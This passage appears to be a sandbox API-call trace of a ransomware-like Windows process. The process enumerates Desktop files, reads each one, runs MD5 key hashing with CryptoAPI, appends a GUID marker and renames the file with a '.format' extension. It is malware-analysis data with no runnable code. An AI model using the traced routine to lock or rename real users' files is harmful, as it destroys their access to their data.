hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.036] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xd2be, lpOverlapped=0x0) returned 1 [0067.036] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.036] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.036] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.036] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac458) returned 1 [0067.037] CryptCreateHash (in: hProv=0x6ac458, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.037] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.037] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.037] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.037] GetLastError () returned 0x0 [0067.037] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.037] CryptReleaseContext (hProv=0x6ac458, dwFlags=0x0) returned 1 [0067.038] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd2be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.038] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.038] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.038] CloseHandle (hObject=0x5c8) returned 1 [0067.039] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c9bdd6Fy9R2i0LIdNVF1.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c9bdd6fy9r2i0lidnvf1.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c9bdd6Fy9R2i0LIdNVF1.doc.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c9bdd6fy9r2i0lidnvf1.doc.format")) returned 1 [0067.040] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x748f8bf0, ftCreationTime.dwHighDateTime=0x1d4c7f0, ftLastAccessTime.dwLowDateTime=0xed0addb0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xed0addb0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x3d05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dCkeRMnueuS.png", cAlternateFileName="DCKERM~1.PNG")) returned 1 [0067.040] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dCkeRMnueuS.png") returned=".png" [0067.040] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dCkeRMnueuS.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dckermnueus.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.041] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=15621) returned 1 [0067.041] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.043] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x3cdf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.043] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.044] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.044] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x3d05, lpOverlapped=0x0) returned 1 [0067.044] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.044] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.044] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.044] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.045] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.045] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.045] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.045] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.045] GetLastError () returned 0x0 [0067.045] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.045] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.045] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x3d05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.045] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.045] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.045] CloseHandle (hObject=0x5c8) returned 1 [0067.046] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dCkeRMnueuS.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dckermnueus.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dCkeRMnueuS.png.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dckermnueus.png.format")) returned 1 [0067.047] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.047] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned=".ini" [0067.047] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb92cab70, ftCreationTime.dwHighDateTime=0x1d4d458, ftLastAccessTime.dwLowDateTime=0x5665a910, ftLastAccessTime.dwHighDateTime=0x1d4cd14, ftLastWriteTime.dwLowDateTime=0x5665a910, ftLastWriteTime.dwHighDateTime=0x1d4cd14, nFileSizeHigh=0x0, nFileSizeLow=0xef30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F6Te.xlsx", cAlternateFileName="F6TE~1.XLS")) returned 1 [0067.047] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F6Te.xlsx") returned=".xlsx" [0067.047] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F6Te.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f6te.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.048] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=61232) returned 1 [0067.048] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.050] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xef0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.050] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.051] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xef30, lpOverlapped=0x0) returned 1 [0067.051] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.051] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.051] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.051] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.052] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.052] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.052] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.052] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.052] GetLastError () returned 0x0 [0067.052] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.052] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.053] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xef30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.053] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.053] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.053] CloseHandle (hObject=0x5c8) returned 1 [0067.054] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F6Te.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f6te.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F6Te.xlsx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f6te.xlsx.format")) returned 1 [0067.055] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d7d9270, ftCreationTime.dwHighDateTime=0x1d4cb59, ftLastAccessTime.dwLowDateTime=0x3ab1f880, ftLastAccessTime.dwHighDateTime=0x1d4d4b8, ftLastWriteTime.dwLowDateTime=0x3ab1f880, ftLastWriteTime.dwHighDateTime=0x1d4d4b8, nFileSizeHigh=0x0, nFileSizeLow=0xc26f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="G75P.bmp", cAlternateFileName="")) returned 1 [0067.055] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G75P.bmp") returned=".bmp" [0067.055] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G75P.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g75p.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.055] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=49775) returned 1 [0067.055] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.058] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xc249, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.058] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.058] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xc26f, lpOverlapped=0x0) returned 1 [0067.059] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.059] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.059] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.059] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.059] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.059] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.060] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.060] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.060] GetLastError () returned 0x0 [0067.060] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.060] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.060] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xc26f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.060] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.060] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.060] CloseHandle (hObject=0x5c8) returned 1 [0067.061] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G75P.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g75p.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G75P.bmp.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g75p.bmp.format")) returned 1 [0067.062] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f9261e0, ftCreationTime.dwHighDateTime=0x1d4d2f7, ftLastAccessTime.dwLowDateTime=0x20d8a710, ftLastAccessTime.dwHighDateTime=0x1d4d526, ftLastWriteTime.dwLowDateTime=0x20d8a710, ftLastWriteTime.dwHighDateTime=0x1d4d526, nFileSizeHigh=0x0, nFileSizeLow=0xde96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ilxSdGe1gMuCMD u.m4a", cAlternateFileName="ILXSDG~1.M4A")) returned 1 [0067.063] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ilxSdGe1gMuCMD u.m4a") returned=".m4a" [0067.063] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ilxSdGe1gMuCMD u.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ilxsdge1gmucmd u.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.063] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=56982) returned 1 [0067.063] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.064] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xde70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.064] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.065] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xde96, lpOverlapped=0x0) returned 1 [0067.065] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.065] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.066] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.066] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac458) returned 1 [0067.066] CryptCreateHash (in: hProv=0x6ac458, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.066] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.066] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.066] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.066] GetLastError () returned 0x0 [0067.066] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.066] CryptReleaseContext (hProv=0x6ac458, dwFlags=0x0) returned 1 [0067.067] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xde96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.067] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.067] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.067] CloseHandle (hObject=0x5c8) returned 1 [0067.068] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ilxSdGe1gMuCMD u.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ilxsdge1gmucmd u.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ilxSdGe1gMuCMD u.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ilxsdge1gmucmd u.m4a.format")) returned 1 [0067.070] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5171b20, ftCreationTime.dwHighDateTime=0x1d4c71c, ftLastAccessTime.dwLowDateTime=0xa2441e90, ftLastAccessTime.dwHighDateTime=0x1d4c763, ftLastWriteTime.dwLowDateTime=0xa2441e90, ftLastWriteTime.dwHighDateTime=0x1d4c763, nFileSizeHigh=0x0, nFileSizeLow=0x16ca5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I_wqzl.wav", cAlternateFileName="")) returned 1 [0067.070] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I_wqzl.wav") returned=".wav" [0067.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I_wqzl.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i_wqzl.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.070] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=93349) returned 1 [0067.070] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.072] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x16c7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.072] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.073] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x16ca5, lpOverlapped=0x0) returned 1 [0067.073] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.073] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.073] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.073] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.074] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.074] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.074] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.074] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.074] GetLastError () returned 0x0 [0067.074] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.074] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.075] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x16ca5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.075] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.075] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.075] CloseHandle (hObject=0x5c8) returned 1 [0067.076] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I_wqzl.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i_wqzl.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I_wqzl.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i_wqzl.wav.format")) returned 1 [0067.077] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b640f20, ftCreationTime.dwHighDateTime=0x1d4d3c1, ftLastAccessTime.dwLowDateTime=0x9a0390f0, ftLastAccessTime.dwHighDateTime=0x1d4c608, ftLastWriteTime.dwLowDateTime=0x9a0390f0, ftLastWriteTime.dwHighDateTime=0x1d4c608, nFileSizeHigh=0x0, nFileSizeLow=0xcb2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kmiNoteKSNX.bmp", cAlternateFileName="KMINOT~1.BMP")) returned 1 [0067.077] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kmiNoteKSNX.bmp") returned=".bmp" [0067.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kmiNoteKSNX.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kminoteksnx.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.078] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=52014) returned 1 [0067.078] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.079] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xcb08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.079] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, 